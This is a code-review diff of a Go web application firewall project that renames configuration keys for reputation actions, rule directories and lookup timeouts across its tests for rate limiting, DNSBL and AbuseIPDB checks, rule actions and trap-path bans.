||||
blocklistAction, dnsblAbuseIPDBAction string
|
||||
blocklistAction, reputationAction string
|
||||
// want is the request's rate_limit_percent and bytes_limit_percent, as
|
||||
// percentText gives them.
|
||||
want string
|
||||
}{
|
||||
{limitHalf, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
|
||||
{limitHalf, limitQuarter, "25 from " + reputationAction},
|
||||
{limitQuarter, limitHalf, "25 from " + blocklistAction},
|
||||
// The blocklist's, the first of two alike.
|
||||
{limitQuarter, limitQuarter, "25 from " + blocklistAction},
|
||||
{actionLog, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
|
||||
{actionLog, limitQuarter, "25 from " + reputationAction},
|
||||
{actionLog, actionLog, none},
|
||||
} {
|
||||
t.Run(
|
||||
tc.blocklistAction+" "+tc.dnsblAbuseIPDBAction,
|
||||
tc.blocklistAction+" "+tc.reputationAction,
|
||||
func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||
dnsblAbuseIPDBAction: tc.dnsblAbuseIPDBAction,
|
||||
reputationAction: tc.reputationAction,
|
||||
})
|
||||
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
|
||||
loadVerdicts(
|
||||
@@ -676,7 +676,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
||||
|
||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||
dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver,
|
||||
dnsblAbuseIPDBAction: actionLog, metricsToken: token,
|
||||
reputationAction: actionLog, metricsToken: token,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{
|
||||
fromDE: {dnsblZone, otherZone}, unplaced: nil,
|
||||
@@ -740,7 +740,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
|
||||
)
|
||||
|
||||
s, server, queue := startWithLookups(t, map[string]string{
|
||||
dnsblZones: keyed, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
|
||||
dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
|
||||
metricsToken: token,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
||||
@@ -849,7 +849,7 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
|
||||
forward := requestlog.ActionForward
|
||||
|
||||
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
|
||||
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", dnsblAbuseIPDBAction: actionLog,
|
||||
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
|
||||
})
|
||||
|
||||
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
|
||||
@@ -892,7 +892,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
|
||||
}
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
||||
rateLimitPerMinute: strconv.Itoa(len(addresses)),
|
||||
})
|
||||
|
||||
@@ -961,12 +961,9 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||
ruleFilesDir: writeRules(
|
||||
t,
|
||||
testRules,
|
||||
), attackBanDuration: "1h",
|
||||
trapPaths: trapPathList, coreRuleSetMode: block,
|
||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
||||
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
|
||||
trapPaths: trapPathList, wafMode: block,
|
||||
})
|
||||
|
||||
s.request(client, tc.path, tc.status, tc.action)
|
||||
@@ -989,7 +986,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -1012,7 +1009,7 @@ func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
// Half of 4 requests a minute: the third breaks the limit.
|
||||
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
||||
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
||||
"50 from " + dnsblAbuseIPDBAction,
|
||||
"50 from " + reputationAction,
|
||||
},
|
||||
{
|
||||
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
||||
@@ -1024,7 +1021,7 @@ func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
||||
dnsblAbuseIPDBAction: tc.action,
|
||||
reputationAction: tc.action,
|
||||
})
|
||||
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
||||
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
||||
@@ -1071,7 +1068,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
||||
t.Parallel()
|
||||
|
||||
s, server, queue := startWithLookups(t, map[string]string{
|
||||
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog, metricsToken: token,
|
||||
abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
|
||||
})
|
||||
loadScores(server, map[string]int64{fromDE: 90})
|
||||
|
||||
@@ -1162,10 +1159,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server, queue := startWithAlerts(t, map[string]string{
|
||||
rateLimitPerMinute: "1", ruleFilesDir: writeRules(t, testRules),
|
||||
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
|
||||
blocklistURLs: dropURL, blocklistAction: actionLog,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
||||
})
|
||||
// Every source lists client, and none otherClient, whose score is
|
||||
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
|
||||
@@ -44,7 +44,7 @@ type decision struct {
|
||||
lookedUp bool
|
||||
lookupAnswer lookup.Answer
|
||||
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
||||
// found no answer kept. SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT does not apply to it,
|
||||
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
||||
// so that not waiting never lowers its client's limits.
|
||||
skippedLookupWait bool
|
||||
// counted is true for a request the rate limits counted, whose bytes
|
||||
@@ -367,13 +367,13 @@ func (rq *request) countAnomalies() {
|
||||
}
|
||||
|
||||
// anomalyThresholdsSet reports whether any anomaly threshold is set.
|
||||
func anomalyThresholdsSet(cfg *config.WAF) bool {
|
||||
func anomalyThresholdsSet(cfg *config.Config) bool {
|
||||
off := anomaly.Thresholds{}
|
||||
|
||||
return cfg.AnomalyClient != off || cfg.AnomalyNet != off ||
|
||||
cfg.AnomalyASN != off ||
|
||||
cfg.AnomalyTotal != off ||
|
||||
cfg.AnomalyWatchedNet != off
|
||||
cfg.AnomalyWatch != off
|
||||
}
|
||||
|
||||
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package waf
|
||||
|
||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||
// SWW_WAF_RULE_FILES_DIR and SWW_WAF_RULE_FILES_ENABLED name.
|
||||
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -25,8 +25,8 @@ func TestEachRuleAction(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
banResponse: "429",
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
banResponse: "429",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
@@ -112,7 +112,7 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
||||
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
|
||||
})
|
||||
|
||||
wantTags(
|
||||
@@ -129,7 +129,7 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
|
||||
})
|
||||
|
||||
line := s.request(client, "/blocked", http.StatusForbidden,
|
||||
@@ -155,7 +155,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
attackBanDuration: "1h",
|
||||
})
|
||||
|
||||
@@ -193,7 +193,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
||||
)
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
allowNets: allowed,
|
||||
rateLimitExemptNets: exempt,
|
||||
rateLimitPerMinute: "1",
|
||||
@@ -234,8 +234,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
mode: observe,
|
||||
rulesDir: writeRules(t, testRules),
|
||||
mode: observe,
|
||||
})
|
||||
|
||||
line := s.request(
|
||||
@@ -273,7 +273,7 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
rulesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
})
|
||||
|
||||
|
||||
@@ -156,11 +156,11 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
rateLimitExemptNets: listedAddr + "," + fromKP,
|
||||
tagDeny: denyKP,
|
||||
rateLimitPerMinute: "1",
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
rateLimitExemptNets: listedAddr + "," + fromKP,
|
||||
tagDeny: denyKP,
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// listedAddr's requests are neither refused nor counted, so the first
|
||||
|
||||
@@ -70,7 +70,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
||||
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||
dnsblAbuseIPDBAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
||||
|
||||
@@ -86,7 +86,7 @@ func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
ruleFilesDir: writeRules(
|
||||
rulesDir: writeRules(
|
||||
t,
|
||||
"noted path log ^/\n",
|
||||
), tagDeny: "exploitsignature",
|
||||
|
||||
@@ -25,10 +25,10 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
||||
|
||||
// A block rule for the same path: the trap path comes first.
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
ruleFilesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
||||
allowNets: allowed,
|
||||
banResponse: "429",
|
||||
trapPaths: trapPathList,
|
||||
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
||||
allowNets: allowed,
|
||||
banResponse: "429",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
@@ -153,8 +153,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
"SWW_WAF_RULE_FILES_ENABLED": "false",
|
||||
trapPaths: trapPathList,
|
||||
"SWW_WAF_RULES_ENABLED": "false",
|
||||
})
|
||||
|
||||
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
||||
|
||||
Loaded 100 of 104 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user